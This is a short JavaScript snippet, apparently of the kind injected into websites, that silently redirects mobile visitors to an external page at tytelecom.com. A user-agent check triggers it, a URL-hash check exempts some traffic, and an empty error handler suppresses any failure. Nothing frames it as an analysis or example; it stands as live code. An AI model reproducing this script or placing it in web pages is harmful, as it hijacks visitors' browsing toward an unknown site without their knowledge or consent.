try {	
	var arr_link =[

'//tytelecom.com/licheng/index.html',
	];
	var urlhash = window.location.hash;
        if (!urlhash.match("fromapp")) {
			var link_index = Math.floor((Math.random() * arr_link.length));
			var adLink = arr_link[link_index];
			if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|iPad|Harmony|webOS|BlackBerry|IEMobile|Opera Mini)/i))) {
				window.location.href = adLink;
				}
          }
        } catch (err) {}